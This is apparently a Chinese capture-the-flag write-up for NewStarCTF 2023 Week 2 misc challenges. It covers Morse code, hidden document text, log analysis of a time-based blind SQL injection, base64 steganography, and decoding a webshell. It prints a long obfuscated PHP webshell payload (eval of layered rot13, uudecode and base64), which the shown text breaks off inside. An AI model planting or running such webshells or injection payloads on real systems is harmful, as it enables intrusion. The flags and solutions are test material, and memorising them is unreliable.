[NewStarCTF2023]Week2
MISC
永不消逝的电波
一听就是摩斯电码 Audacity打开
..-. .-.. .- --. - .... . -... . ... - -.-. - ..-. . .-. .. ... -.-- --- ..-
flag
flag{thebestctferisyou}
新建Word文档
把选项里面的隐藏文字打开
或者把.docx改为.zip
在document.xml里能找到隐藏内容
新佛曰编码
flag
flag{Th1s_F0_1s_s00_Cyp3r_495586e3df3a}
1-序章
sql盲注日志分析，找了脚本，改一下就能用,python2运行一下就行
import re
import urllib
f = open('D:/access.log','r') # 下载的access.log文件的绝对路径，笔者是存在了d盘根目录下~
lines = f.readlines()
datas = []
for line in lines:
t = urllib.unquote(line) # 就是将文本进行 urldecode 解码
if '1765' in t and 'flag' in t: # 过滤出与flag相关，正确的猜解（只要200的）
datas.append(t)
flag_ascii = {}
for data in datas:
matchObj = re.search( r'user\),(.*?),1\)\)=(.*?),sleep', data) # 在date 中搜索符合正则表达的字符串并 将匹配的字符串存入变量 matchObj 中
if matchObj:
key = int(matchObj.group(1)) # 取变量matchObj 中 的第一个括号里的内容 （也就是上条语句中的 （.*?）中的内容）并转为10进制
value = int(matchObj.group(2))+1 # 取变量matchObj中的第二个括号里的内容，并转为 10 进制
flag_ascii[key] = value # 使用字典，保存最后一次猜解正确的ascii码
flag = ''
for value in flag_ascii.values():
flag += chr(value)
print flag
flag
flag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}
base!
base64隐写
import re
import base64
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
# ccc.txt为待解密的base64隐写字符串所在的文件
f = open('D:/CTF/WP/NewStar/Week2/附件/Misc/base.txt','r')
base64str = f.readline()
# pattern2用于匹配两个等号情况时，等号前的一个字符
# pattern2用于匹配一个等号情况时，等号前的一个字符
pattern2 = r'(\S)==$'
pattern1 = r'(\S)=$'
# 提取后的隐写二进制字符加入binstring中
binstring = ''
# 逐行读取待解密的base64隐写字符串，逐行处理
while(base64str):
# 先匹配两个等号的情况，如果匹配不上，再配置一个等号的情况
# 如果无等号，则没有隐藏，无需处理
if re.compile(pattern2).findall(base64str):
# mstr为等号前的一个字符，该字符为隐写二进制信息所在的字符
mstr = re.compile(pattern2).findall(base64str)[0]
# 确认mstr字符对应的base64二进制数，赋值给mbin
mbin = bin(b64chars.find(mstr))
# mbin格式如0b100，mbin[0:2]为0b
# mbin[2:].zfill(6)为将0b后面的二进制数前面补0，使0b后面的长度为6
mbin2 = mbin[0:2] + mbin[2:].zfill(6)
# 两个等号情况隐写了4位二进制数，所以提取mbin2的后4bit
# 赋值给stegobin，这就是隐藏的二进制信息
stegobin = mbin2[-4:]
binstring += stegobin
elif re.compile(pattern1).findall(base64str):
mstr = re.compile(pattern1).findall(base64str)[0]
mbin = bin(b64chars.find(mstr))
mbin2 = mbin[0:2] + mbin[2:].zfill(6)
# 一个等号情况隐写了2位二进制数，所以提取mbin2的后2bit
stegobin = mbin2[-2:]
binstring += stegobin
base64str = f.readline()
# stegobin将各行隐藏的二进制字符拼接在一起
# 从第0位开始，8bit、8bit处理，所以range的步进为8
for i in range(0,len(binstring),8):
# int(xxx,2)，将二进制字符串转换为10进制的整数，再用chr()转为字符
print(chr(int(binstring[i:i+8],2)),end='')
# iDMb6ZMnTFMtFuouYZHwPTYAoWjC7Hjca8
flag
flag{b4se_1s_4_g0od_c0d3}
WebShell的利用
<?php
function dec($enc)
{
preg_match('/base64_decode\(\'(.*?)\'\)/', $enc, $matches);
// var_dump($matches);
$encry = $matches[1];
// echo $encry;
$decoded = base64_decode($encry);
// 第一次rot13解码
$decoded = str_rot13($decoded);
// uu解码
$decoded = convert_uudecode($decoded);
// 第二次rot13解码
$decoded = str_rot13($decoded);
return $decoded;
}
$shell = "eval(str_rot13(convert_uudecode(str_rot13(base64_decode('Z<SRA>2NS9I5?96)T,3,U<&)N:7)R9H]U:'%E<&)D<ONS9I5?96)T,3,U;ILS
Z<P8G7J%E<&)D<O@T2T=X1GNK4OZ:>#5'0QNK,4-Z>#)8241S6SDX24-03&-'
Z=I(F6$R6-493,4R"=T!L14=W>RN(1#N',#5'0QNK,4-Z>#)8241S6SDX24(C
Z>5V(:S-A0H-.-$5Z<5N72$@K5J9L4Q-2.4L)45=(0GRG:G4C-5R!4PRA0T<G
Z=G%&<&V(2#5965%$9GVJ-'=81J1Y05%31G%L05)*458C64=.;5=I,&%0>6(L
Z1Q9H5$%I149!=P`C0Q=:9Q%35T9#241H1H%2,$-)<"Z(>#1O6Q9!0R=Y:T=!
Z1T!W2$@H65R11&=*=F1J6$=G;$%14G=!>4%22R%6,%N26RN*=F0D279G-QNY
Z,4]:4T1T678C>$%)8PN!2#0F6T9%3Q9Z25N"2&UC2$8C;%RJ15V81G0D0G9G
Z:Q4D5H5">'`C1&CC,4NI4P!(4H=/6R-$.$5W8IL#2'!L5J=W>QRI=&D6;4@H
Z07=(>5=1>55)>&)T5IGC-%V(8SZ*1GKD5G=::G5Y25V:44NP6'=$,4)26P)!
Z43!U0SH(.49&:TV71GKX079H6R!L8SZ(1JR6049$>49'4P!"1R(L2%1/45V3
Z4PR"=JR%5G=:,4R1>'=:=G1X1R%35R='5S974#!P0H!7;RN1-'=:2#@E2$=K
Z=5V35PR*1I-(0G926$VJ4GN627!Y5H)/5Q%J249:1H)M0G9O.45J4HN!=Q0L
Z16HS>%='4P!%;3!H0J=$>5VJ5G971GDS5G@G;$%L5G)8=F%46R)$;$%Z>559
Z25-"2Q1P;RR117%"=G5(6QR$,Q%Z=5%#=Q1L6$=H1$=I4SD6;4]407R$-5='
Z045"26)Y04@G=RVI34R$;59K0R):-H=)5HN:1GR*0R%355V21&V%;7R54'RO
Z-QN'15)!2'0D5T<G84D26SZ7>$%165%%0Q9'14161T0C1R$C:4%L5S=74#1K
Z04RC-$9(:T=:=T!H1H%)6$-)<"Z(25=70G9-4Q%J9P!$4T182T=.,G-&="Z!
Z1F!X0J=(,5N'-'V8240D1QND45R&24V8475'2T9O:G4C9H)!2'`L0T=P54%)
Z>&D!24CI05%%0QN13&%#1Q1S05!K;$%L3S-61&-A05%:=4R'3G=&4'1U05%K
Z>Q)L14V!;5-51P%G:Q%Z>59!>59H1H%H1GVI=&Z&>58E6R%$-5=1-#!"1T`C
Z2%!2=RV)5S)'459L6Q8K,$%)3&H0>6(C2%-6=Q-(8G971GR50G=O9Q%35SZ#
Z=T`L0T<D55V)=&Z(=QNZ04R6.5=Z24="1J`C5SD31%V2='5!;6=&1J=29H=Z
Z,#9:=Q%.14=6>$-(9RN*=F`D27=:,4N35S1:2'NT6%%/54)'5P)74GH805)D
Z0Q%J5P-627@D1R!K:4%)4TR&=H8C0Q=O:G90>4%:4T`H1ICG,$%(8P!&4P1H
Z0GR2:Q=.8IL:1GH62&GG>4-&<#!(4%)L0SH:=4913HN#1Q0X04R-6$%(<#5!
Z;5-515-:,44C3H5";$1L1H%)55N'=#R%=Q@C07R68H=19TN726(X04=(-5!L
Z8SD!1P!I6TR2:GN19G9(=H)X06D(=Q-(<#%844H%2'9$9QN&26L#1GNL5SGD
Z15V(:P)743%66Q9$.49'14=%44CJ05,C,%V1<4974#`D0G9C6$VJ3P!!1R9Y
Z079L35V114L%;3%&27NK;4%35TN";4@H1SH/1RN'8S=&43!P04NH0Q)J4H5(
Z=S)W2'9(;4%'24V:=H)M279(-G$D5P%!4'%&1IVP;RR)4G)7;5(D6$92;%=Z
Z3H)!240K16HG,$515P)(,6(F0J9$>5V'3#%71QNW2$=K85V'1&Z!=H-(6R):
Z:GNI15%"=G1L1H%)1G-'<#!6;5-94'RO:Q%35H%91Q0H6%%P2$-'8PR)4%-6
Z6QNG>5N'3'N91T@K5TRO8RVJ2#R!;4]50Q8C,$N&25N"24LH5H%%2%V'=&D)
Z43!U65)C9H=J,'9*=R)82T=35%9)=&V&=F!O65%)0R=Y,&%)=J1Y05%/4RV)
Z4G)%440D2'9,;$%33#1!47`D5IH72$)(.#9%;4510QNG8H9'5S%,4SVW25$D
Z1$%'1'R81&-A0J9-4R9'5P!$,'NW049(>5V34G):1HVM5G9::GN'4G=:44NH
Z1SHS>%=(:SH(;#`E6Q9,9G1'3P%71I(L05-685UC<#R7=G1N6QR(:Q%&25R0
Z>6(X2$9L6RV'14V61I8D64=(:GN0255">5)L2T<G,4)&4OZ!1JR66QNG>491
Z4H5)>'@L5JRO>Q-J2#1%1GH&5G9$9G%',&Z91RVH5T=32$D26RN*=H9L5Q=6
Z.4NL3&-!25VP5IH$,4)(:P)(1J5965!$>5N'6TV&44KX079H45VI2&=!=F%%
Z649G-$5Z>#-:2'%&04=/54-(.#5(1QNZ04R!;R9W8IL#245G1H%/2$-21#%!
Z24DP0G9-;RN1,45'>6)W05-6,RRJ2#R*=H8C0G96:G9M3H%!24%26SH2>4RJ
Z5PR7;4NH0SH,.5=J4HN#1H8H1R$D;R!L8S96;7@I0GR2>5RJ4P!#1GCX5H`C
Z8Q))5G)8=F%43%)$;$%Z,#99445"6SH)1HV'8SD7,#5(079(>5RZ2#!81T`D
Z2%!K,G%2<59"44KD6$N$6$VJ3G572&(D2%`C,RVJ<4L%45-&5QNS-Q%02&-!
Z4G5&5J<D5Q)26SV(1F%#0TNC-5V1-#!71I(C251/5RV(>5%%;&VK5G9G-$N0
Z4TV!4GLX1QLP;RV2<49:=I-%0G8G-$9(:P9:2'%607=6>Q4C<"Z!4#!M0H!:
Z=5N11'R82&VW2#!G-Q-'1#5:1G%61J9::GN'3GD:445&64=,>%=&=#N6;4NH
Z4'RO-G%&,#%:1GNT0T9W,$%26SH&44NI0SD$:G=14H971T@D04@G84-&0497
Z1F%%1%)::Q$D5P)"4T0L6Q=L2$=J<&D!=T5,6R%$.5N0,#%62&V82T=H1G50
Z4SZ(4%-707R%1RVJ8H5'=H(H16HK8Q-(=&-*44KE15!G.4N&,&)#4%VL0R%$
Z,$902&D7;7NK0QR30R=J5P)'4%VX13`H6Q%)055%3S-A6Q=)2RN18G181J`C
Z6SD(,Q%L4P574#0C0Q9C:G%1,'R!44511T=.,5R26S9724DX0H%$-4%Z1'=,
Z4Q1W16HL44%I14V&=G%$5Q92:GNJ>4H0>6)W06HL6RVZ24V:1H(C1H!(-HVY
Z2'V:=J%"1SHS,%='6P%)4P1I0SH%3Q914G=&4#NX2'@G84)36PR7=G1Z5QR.
Z:Q%2-59:4H)P1T=%5Q%&=%N*=F%'6$RC;%=Z>&)";41L5IH6,$RJ8PR&4'R!
Z6T=C-5N0,5574Q0D2%!(=4%0<'R7=H-727R.-GNL5S-!4T!P06HS,5N21#)7
Z47NY0SD(.4VG8IL:,'1P5Q=6,%V29SZ!>'5565!$,5V'24181T1S079H5%V2
Z8P57430D279C;59Y2#-:25-"26H6>$-(9P1!24DN6Q9-;R9',5991T0E2'9K
Z-R!L8P9%,#576Q=(>59J,55:2&VX1R!(8HV(<&=7;6VJ5Q=,-G%&,#5!4'%&
Z1IHP15='6P%&4$@H6QR2:Q913'R724LY5H`C84)33G981G1L64=,6$VJ345'
Z>'`X04@G85VY<4)"1H-(1%)S,4R35G-"4H=*1T=6=GNI4P=!4F`D6R-2-$1Y
Z:TN'=QDY04@G=RVJ15V&44R65G9(;%=)3&%#1QH26$1P;Q%16T5)1GCD6$N:
Z-491,5N94'`H6'<D1RN'=&D)43!Z049(-5N','V)=QCL17930G%J2'R81G]&
Z0GRK9R=I2&-#2&)X2Q=.,5=&.#!(>4DP4'RO,$5Y>'R!441W15%684)&:P=7
Z4$NZ6SD::H9'1#-,4Q0D1QNG,HVI1&-84#1J0Q9(-G%12&Z:4H-"16HH5Q)&
Z<#%(;$NS05-!2QRZ5P%74Q182T=2>%=&<&Z7,58G6Q9,9G1'3HN"1P`C2'=K
Z84%)3T574&VN1JRC:Q%1>&)#=GR*6SH%55N'8SZ&4GH!04NC-4)J8H5'=T`C
Z16GC-Q%114)&3S-A6QR!5QNZ-'R#1T0I2#!G8Q)Y071%1GH%0Q9W-45Z4S%:
Z,4LL06H35HN2:SV!1P`E0R%)241Z:T=(=J`L16H30Q%L4G9846-%5G9,;$%)
Z5SV0>6(X079H3%VI1#5'44H&279C:G%33#):2'@G15%,,$-&=#9%,#1W6T=(
Z,59J-#%82&VY25%X55R11&-7=G5#2T92:G9L5P)!>5-"16GG,$)'4RN*=G56
Z049K*H<C3HV!2&-&1IGH15R(8SD6;5)L6QND5R=J255"1Q0H16D(85R036L"
Z1H-&27NG,4R1,&H:=Q526T=-1Q=I8PR&47R:04R2.4%G8IL9=G5"1H%:>RR&
Z4SD!24H$04NL5R=0:P!81T0I2%!K8RV(8P%"1GCD5Q9$*G%(-&%!>45*5J=$
Z,$8D=&V!;7R605%)2Q9'5TV#1R(L179(>5!L8P)!47R5649$,4VJ-'=91I)Y
Z5ID(>RV11#R9;4@C649G:%9Z2&):25-"2T=.,$NI4P=(=JR+0R)L6R9Z5P!!
Z2'!X1R!(:5VI1&=:=H)J5G926$VJ5P!%4GLW16HK9G(D5G):1SUC049C*G%I
Z>4Z:44NT079X1QNK8SD6,59Q0GNG-$1Z3H5"1GCI16HL05UC='R61H8C5G=6
Z,Q@C=&D#=G5&1T1P;Q%)3G9!;68C1JNG:Q@C=&99=G@L1T=%5Q=I6SZ&4756
Z6QR6>$519G962&UG2&HK,Q)Z<4L&1G]52'=6*G%)5HN!4GLH5SH3540D=#%&
Z5$]14'RO-$N&>&-!2'!P0R$D5%='1&H71TNK0SD$>4VI:T="1J@C05%(=Q%L
Z05981H-6279C-$@C1#-94%UD6%%.,G)&="Z!25=A6T9:=4)14GN,4Q182T=6
Z>59(9S9%;$NY0H%(-59J1#!&,$0E5H(G>$%I14V&=G%504=C;%=I=5):=QRG
Z1&DX1QRK8PN!4SVL05%(9H=J245'>5VT2$9(:RVI3&=61&-A05)C,5=J25N#
Z4Q0D2$9K;$%L04V845-45G9::QR2-5%91GR*6Q8C=H9'<&Z&1T516T=(:HRZ
Z249)=T0X049(>4)Y34V&;4R50QNC9H=2-&V0>6(C25-,=4%2<5V*45-%1H-.
Z-GNL3&D#440H0T<D5HR&2&V%;755649$-5N18G1"1I)Y5ID(,RV1<#R!=F5%
Z05):.%9L8T5!4%VH1G=/5R9'8RN*=F`D1J=2:H<D5P1:=QH*26H6=H9(<&=(
Z1P!N6Q9:,4)J4H571GDX1T=K-Q)K<4)7;4%515%O,$%12'V!=G0L65$G>4-&
Z3#R6,#0E0SH%0Q9.8IL!4'%&1ICD55=&3&96;$@I6QND0QR13GN"27!S5H!(
Z;$%L0597=G0C1JNK:Q@C1'N">'`L6Q=%5Q)'<&Z)4Q]26R%%3Q5Z=#!91QDW
Z05%K,H!L8SZ%=QNL6Q9(8G)J8G574Q0D2%!K=Q%31&V'44H%0GNW;%=1,5N#
Z4$H25Q<D2$%&:P)(=QNK67=)0RV0:T=71GDY5JR,-%VL1#R&45-504=.6$VJ
Z14=*=T0C5G8C,HV1<4971H-&27NO-$912&%#2'1O1R%2,Q929P1(1P!O0G9,
Z9HNJ1#!&,$NX049355RJ14)7=SVM6$9:,%=)35V:4H9L5GLP;RR01#5:459M
Z15%C-G$C-5R:4H-&6SH/1Q-(8P%(4'NN05!)2QV14SH,4T0E2$9(8HV12#%7
Z1G%'64N2,QN',&-:>5="6Q=H55V'=&Z&>Q]14'RO,Q@C1&)94H)L1H%%1$%'
Z<#!6;4]16R-2-41Z8H571H)S5F%6=4%11#%:1H-(0G8G9Q%)5SD!>5UH06H6
Z,$53=&V&4$NK64=$>4VJ4S%#1SV82T=%15V)<&Z!>'5:05%$>49'4P!)=QCL
Z16D(>$%)4P5:=I-51JNO*G%2=&V#=GDP26H.,Q92:P)(>4HA6T=%2Q)J4H98
Z4RVX1R!28RR(=4V*1&-A6T9D2Q)J,5N71R9X2#!H1HR02#R7;4H$5G9K,$N1
Z4H=:4G%65G=!14)'4P!%;3!M05!!0QV15S%$4T`G05!K;4%L3G9!;3%56QRO
Z,4N)5SN0>6(I2$9(;%R'2#5"=G566$R.:GR1,'R!25)L5J<C>4=I8PR%=QNN
Z079%1Q1Z9TR#26(X5J9K=Q)Z1&Z'44R71R%,9R=35HN"4G]&5J=$84NI4RN*
Z=GH(0GN:9G%(-&V944@D06H%15V21&D71R)O0G=$>5V1:S%(=J`L1R`C,HVJ
Z<499=P%51JNW,4NY,'5!4G1H2%%.,Q936S9!2#1Y6Q9:8G%W8IL!47%"2Q=/
Z1G50=&N!4GH50R)L6Q)I:S%:24KD2$<C,RR024V:=JR'2T92*H=Z2#%!=GNH
Z5H!W,4RI<&D!45(G6QR$:GNZ3P-"2'0D5GR,;%!L8P1(44@F05%::Q515P-"
Z2%UJ04=L35VI6S="=H8D6496;$%K=#)#=Q1T6%%L1%V&4SD!4Q5"07R2-5R'
Z9G9"1T!S04=K-5V)1&V%1H9N0QNS6$VI,4962&UG2%%K>5R06P%!;4H%0G9G
Z*G%'>5N944@D0T=6>QRL=&Z(=R)O0R)H2RN1:TV#1J`J07R-6$%)4PR94#%5
Z5G9,9R9Z2'5!4'!L5J1P;RV(>59(45(D0G9C,QN02'V!4$5.1R%-14NJ5P9(
Z1JNX6SDD1Q%Z5P!'4J@D1R1/44)11&-:;4%50Q=G:G5Z4HV!=G0L65%,>$RK
Z8SH!44NN4'RO*H<E3GD:445.16HG,4RL>#N!4'NI6QNG9HN14TR825VS05-6
Z;4%(<&=6=G560G9O:GR1,#)#2'%"1Q=%1$-&4P!%>Q]207R69HVI,'N:27N8
Z2T=P2$=I<#R(2$5-6R%%3Q5Z,49)>&)X04R,>Q%1149!=GR50Q9G-H=',&-:
Z;$DL5SH314915P)745-$0P%2>5V'34N!1TNX13!!4Q%I14)"=&-A64=$-5V&
Z:P%'=J@C5F)/5Q%I<#N%45-&1J9C.5=K1&-!45VH2T=.,$)&=&=!2#1N65!D
Z2RN',45$,&VX06HK;5V2<'R&=H9N2'=G:G4D,'V0>6)W13%764))5PR&1H9M
Z649:;%=I>4D:>5(L679W,4-&3&N6;%)O0J=%4QN11&%(>#NS5H%)34-I<496
Z1G0C6QRC:G%&2#)"441P5J=P1$-'<%N*=G1K1JRO,Q@C1#9">'0H5IH2=HR&
Z:P!(1G]26QR30Q5Y:H9)>'NX5J8C-$%06SZ&=G]%0Q9G9G5Y2&Z:=QHA0T=%
Z5RR&5SZ!>'5604R28H=G8IL#4%VL6%%S>$=L6SV!1P!H6TR31QVJ24171J`C
Z2$=2-%VL1#R:=F1L0G9,.%=L8P-944@G16H-14)&:P5%;5)N6P!H0R9J4G1,
Z4RVY5IGD65!L8P1!4$NP6P%$,4%Z1'V)>#1X1TR744)L4TR:1F1M6$9:.44D
Z5S1!>4%65G=(,4=I<#1(,6)M05)D5R9'3P!'>%VT05!L6$)2=#%7;3%(3%):
Z6$VJ4P)%,%VT2$9(:HV'1&-7=G%'64N2,QN)5T5!25-"2T8C84NI6SZ)44]7
Z6T9:=45Z=45827NW06H2>5V(<5971G]%0QRC9G%126L!4HVL0T1P;RR115V'
Z44KE1R%:,492-&D">4%*5Q=31$D22&V(=QNP6T=$:GVJ8GN#1T0L1TV/6RV'
Z359:;4]%5GNW,$5Z>#1!44DT5G=)54)&:P=74$NP4'RO,4@D3&V#=GDO2R%.
Z,G)(=&H724H76Q9:,5=Z1#!&4$DY06HL44)K<'R:;5VJ6$=O;%<C3H5:1GNL
Z65!W>%R&3#R6;7NL65!::GRZ34N#1T182T9W,4)(8S=6;$@G6T9-2QV'5P%7
Z270D04R6:HV&3&=!;3%5049:;$R1>&D">'`H1H%)1%N&4OZ!1P!I6Q=-545Y
Z:TN81T`C2'@G9$-(<#%!=&-A6R%$-49Y8H9#4RVZ1R-,=5VI3&=7=H-713!G
Z:G%)5S)"4G%207=S,5N(:P)(2#5204R6.49J5P%!1R9X2$=/5RV'35)8470D
Z2'=.;4%K:T90>6)X1R`C>RVJ<4)%;&UC2'=29R=K=#9#25(D6T=-2$-&,&Z(
Z1F%70R-/1R=J1#-(=I)W05-6;%RJ1'R%;7571H%K.45Z2'9:2'1L0T<H1QNI
Z3%N*=G5'15!2;$%2='N:445"1H%)1Q-'3P9(4%(G6QR$:Q9'5TR62&8G2'R,
Z8Q)33TR6=H-51#!$,4N'>'N8>'!L6%`C>R=&4OZ!44NQ04NO.5=.8IL94$0G
Z15$C>QRI4P=!,58E6R%(>5N'5G5"1T`D25-,=HV)5S)'45(F0Q9G*G%&4HV"
Z4GLP5Q=$,GNJ2#)!47NK65%%2Q9I,&%#1JNX1Q9L35!L8P%&2$1O0JR72RV'
Z4T=(=J@J05)/44%J1#5%;6)L0QRO;%=I>#9:=GNT5T=72$-&-&974P5705-.
Z.5N1,5N(=S9W2'9L6Q%L5P5*=GR$5Q926$VJ5S%6271X2'928Q)J24V&1H)M
Z0G=O.490>5N!2'`H6T=,>$RK8P%(4%)L05)D6QRZ4P)&4S8H16DH4Q%(<&-"
Z=H-'24N::Q%1>5%8>'!L1Q1P;Q-J16L"=G0C1JR$:Q%Z>4D:25-"1SHH1G51
Z3&9!1JR%6R)D0Q5Y,'N:26)Z1R%(=RV(<5%&1H(E1R)W:Q%)25%#1T%&07=3
Z5Q)26P%%;3`E4'RO9QN(3H%#1QH25SGD54%&3&Z)45-$0P%2>5N'055"1R(J
Z07=H45V(8G)%;6-%1%):.5=J>#5#2'%.1H%32$-&2#%(1F%707R!;R=J1#-!
Z1GD82T=-14NJ3"Z744NX0QNC-4%J5TV)2'!Y5JNH65R34S-*=IUC1H!,:G4D
Z,#%:=T`L079P55=&>#%&4P1H05)D6Q9124=&45UD05%/4Q-&6TR7=&-A049%
Z<5V'1&%(>#NT5H(G>Q-I3&=61H9N5QR.:QNI15)!1Q@L5IH2>Q91<&Z)4P59
Z6R-!4R=1-#!)>'@I25$C=RV(8GL$;4KD5G9G.4N&25V0>6)W04=K-%V(=&=!
Z=H8F0QN:9H=23H%:1RVT0Q=$>4R(1#)71QNU65)C8H=J,'9*=R)Y04<D3G%L
Z1#5"=F`C6$=2,$4C-&9!4H)X0R%72$-'3%N*=F0D0Q9G-4NZ>'R";$5"2Q=/
Z5R=&=&=!1JR86Q9:=5=I:TN:4Q@D1R!H54-I1'R&1H(C279,.45Y2#%:440L
Z1&HS>4-(>#R!1T@I0GR31Q5W8IL:1QH22R%314NK9P1(4P1H05-!2Q=13P%7
Z1T0H1R$D6%VJ1#%7;30D27R$;%=1>&)">5=*1Q=:>Q-'3&Z7=P%/6R%(8G1Y
Z:P%#2&)Y04@G=H!L8P!(1G]26T9$-49Z9TN72&VW05-,-$%12&=!44R50Q=O
Z-QN)5SD91GNL0Q=354NI8P)(1J510GNG-5=Z:TV*=QDX25%(:G%L1#R846-6
Z2'RO6$VJ5P!"1T@L25%/3%V11#58430C6$RK;4%33'V";45&04=/14=K6P5&
Z43!Y649-2RV1-#)84RVY048C9Q-'1'R:=IUD279O,$%&,'R:2'1T671P;RR(
Z<4)'45VM15!:,$%13H9:4G0K15%)5QNI3&D7>4DL0SHC,4%'3#!"1Q1T04@G
Z:G)2<&Z6=H-76$RK,49(1&)94H=*6Q=W=GNI4PR%=GNL4'RO:Q%&>#99=Q@H
Z1H%H2$%&4P!724H66QNC.5RZ249"1T`G2'@G9$-(371%45-80G=6-Q91:H)!
Z24LX0T<D14908SD!>'0E0GNG-5N1:TV#1T182T=31%9(-#)(1J@I65%$8G9J
Z159!1J!X13!%3%V)1#R&;#%%6$NS.$%0>#-";41L04=2,5=(.&974$NX6T9D
Z2R9',55:4SUE049%54-J1&=7=&-A6SD!1Q%I:T=:4QNW2#!G>5V34P59=J57
Z1H!2,%=Y2'V:2'R115%(,4-&3&H7=J@E0SD%3Q9'345'>$1W2$R6:HUC<4)6
Z=H8F5QR:,4904S)0>6(J5H!)6RV12#5!;3%56R)::G9K-5R">5-.1&H284=I
Z5OZ7,Q]:07R2.5='24581T`K5JRO8G%34J%:=GH&5G9(;4N'26L#1RVH0Q=3
Z1453<%N*=GKD5GNS9Q904HV"4G%A5G<D14=K:P)(1JNO0R)C8G9J=55!1J`C
Z2$=/4RVI2'5&;3%%5G=::H=L3&%!44565G=/54=L<#=71F!X65%)0R9W8IL!
Z4$566T=)14-21&D74$NM0TR.8HN1,45'>&8E06GC8HV35GV:46-(0G=C:G4C
Z14H!2&-&65`C>4RK:SZ6,59M05%(9G%'3P!#1P0E5H--6%!L8SZ!43!Q0GR$
Z:Q1Z255"4RVS1R-,:G-11#5!;5-6649,;$$C-4-91Q0H6Q=6>R=&6SD7;5-#
Z6QR6>5VI:G5"1H8H2%%28RV)3T5';4]50Q9W6$VJ>59'>&)X5SD2>RR014)*
Z44KC0Q=:,4%)5HN:1G1P06GD1GRK,#)747@I65!(.5N'6P%)=I(C1R%L6Q%(
Z<5V(46=&2'=.:H9Z2#9!44@H1G1P;RV'2'R$;#%55H):9G%)5P9!4T1T5J=-
Z1G90.&Z(1P!O0R-.>5N11&%'>#1W04928HVL4GV:1G5'1R!W,$R13H-:=Q0H
Z6%%H5QRJ4SD6;$@F4'RO:G5Y2&%!=G5"6T9X14=I<&97=P`I0J=(.59J345#
Z2'0D04R,84-&36L7=F5%2G=2,%<D5G-94H-.1&H2>RN'>#!&4'R:6QNG>5='
Z4TN71T!82T=W=H9'3#=!4F!X07R69HVI,#!:26(G1R%(,HV(=&-(;4R45G=,
Z.4%02&Z:1RVL0T=35RR&=&V%;7550QR2>5N'24=%4%(X04R)5RV1359!=&-A
Z65!$,5VZ,'V)=QCC5H(H64%J1#R7430C27NO,$NY2'=:24%*0R%72$-&2&Z!
Z24DP0H!-;R9'-&%!1I)W049(>$-J1#57;45$5Q9K.4N(05V0>6)X07N$8Q-I
Z1'R81G5$04=O.49&,#%:2&-"1IDP55='5PR7>4DJ0GND4QN15P)&4#1S2$=K
Z;$)L3S-8430C1R)2,QR1,'R:>5)P1T=%5Q)'=%N*=G5&27RG:GNI4SD"4H=&
Z6%$C,$RI8SZ7=P%/07R$-4515G582&)S04@G,HV)5P5*459J5QNG:G935SV:
Z=Q%&06HS,$901#%%;7R965!%0RV$8IL!4T0L0T=%55='3#%%;3!H6Q=$8H=Z
Z14161Q@J6SD305V12'561G]%27=2,4NY2'N!4G5G16H.,59(9P=!4$R:6P!C
Z-59'9SH71G@E2$R70H!L8S9!4P1P04R!0RV1-#)84TNY5H%K8Q)Y2497;59J
Z0496.45Z2#)!=Q5&67=P54NJ4S97,59H6T=(8G=125N#4RUX05$D5G)33G97
Z1F%%1J@G6$VJ3P-"1QNX2$=3;Q))1496;58E6%-G,49J>5R#25)P2T=2>QVI
Z<#!!4H8F6QR6>5R1>49#1HUD1R(G=Q%2<7%7=GR80G9$-$%2-5=!4H="6'1P
Z;Q-(<59844]51J=O-45Y2&)91QH*0Q=$,$121&V!>'1L6Q=)2RVJ4TV%47!X
Z2'9L0HV2<#R7430D27=2-QNY2&)#2&-G1H%31QD26S9&4GH84'RO.$%1>#5#
Z24LL04=36$=L<&9!4P5-65!C,59'155:2'1Y5G9(:%R34P5:;4H'0Q92;%9Z
Z4GH!>5(H0T=H55=)<#1&2&VH05%C>59J5G5#1PN82T=354%'3PR7>#1H05)D
Z5Q%'3G982&UE2$9L5G)L6TR"=H8C1P!$;%=1:H%94H=&6R%6,$RJ8PR&>59N
Z6TR$-5VI8H9#26)Y5SD(=4-(<4)&3S-A04NG=4RY:P!(>'@K5JN$=4%12&)%
Z;4H%2'9$-Q4C-6L:,4LT5T=685V21#%%,59S0SD(=4=1=41:1T0C05)/5%V1
Z2'R"=I-%04=2,4N0,'90>6)Y5GR)6%V11#R'45UD27NK,QNZ,'9#2'0G15%,
Z,$)'3#=74$R90G9:8H9Z,45:240E5G9)6RV&24V7=G5'15!2,$N'2'9:47%&
Z6T8C,4NI<%N*=JR50Q96:GR04G=:440L1SCC,4RI>&Z7>4DL6QNG-4=J3G5'
Z>5UE5H--5HR11#5!=H9M24NC;%=&25R#=GR&6R%-1%=&4P=!4T1L6R)C-45W
Z8IL8>'!L5IGG,4=J>#!!4Q]26R-$.4%J-45(>&UL5JRO8Q-)5S-';4]&6$NG
Z;$NK-&Z">45*5SH36$D28SV!,59T079$>5N'141(=J@C5SD(,5!L8P%%;7NS
Z0QR6-4VJ5S%!1R(C5ID36Q%(8SZ(46=&279G*G%'>&)!44NO15%/54)(6S9(
Z2#1W6T9D2R9'1'N!1P1X2'9(9HV'14)&=GR$0Q9G6$VJ4HN'>70E2#!%4RV)
Z4TR*=GR$5Q9C,$9K3H):259X66H$,%N'4SZ7=P`I0SH$>4%'3G5#2'`I16H)
Z;Q%2=4V61F%56R)W,Q%&2&9#=Q5&1SVP;Q)305961G0C1J@G,%<D5G-8>'0K
Z14=!54518P!!44NU6Q=-5Q5Y:P!(>&UX5P`G=4%0<4)&1GH%1JNC-492-&Z!
Z4G5&0R%6,4RL6SV!1P`E4'RO-G%02&)#4$CL07<D54%'3&V%;7R#0TND1RV&
Z:T=81RVY5ID(=RV)4PR71H)K649,,$N04TR#>5-D6T=.,GNJ3#5&4GH765!D
Z0Q)J5P-'=J182T=72$-)3SD743%70H!!1RN15TN!1P`E2'9(>5UD4P%*=SUC
Z0Q9K*H=I>4D:445&65$H15='4SZ!47NH0GND1Q%'3G5"2'!T1R$C85R03&="
Z=&-A0SD%4Q=124=&45VX05%K:G%)3S-!;40D649$:QN02&D#=GR*5IH:,$=I
Z4SZ)4P5,6Q=:=59'14572'NX05!K=Q-&3&=$1GCC0G9$9G%)3'V0>6(I2%!(
Z84-(8GL$;4R46$8K,4N&25=#4$%"5G=$,5R&3&Z&=JR167=(.49Z4TV91R(C
Z04R-5RVL1#R9=SVK6$9,.5=J,'5:=RVX1J=,,59(1%N*=H=&1J9C9Q%12'N9
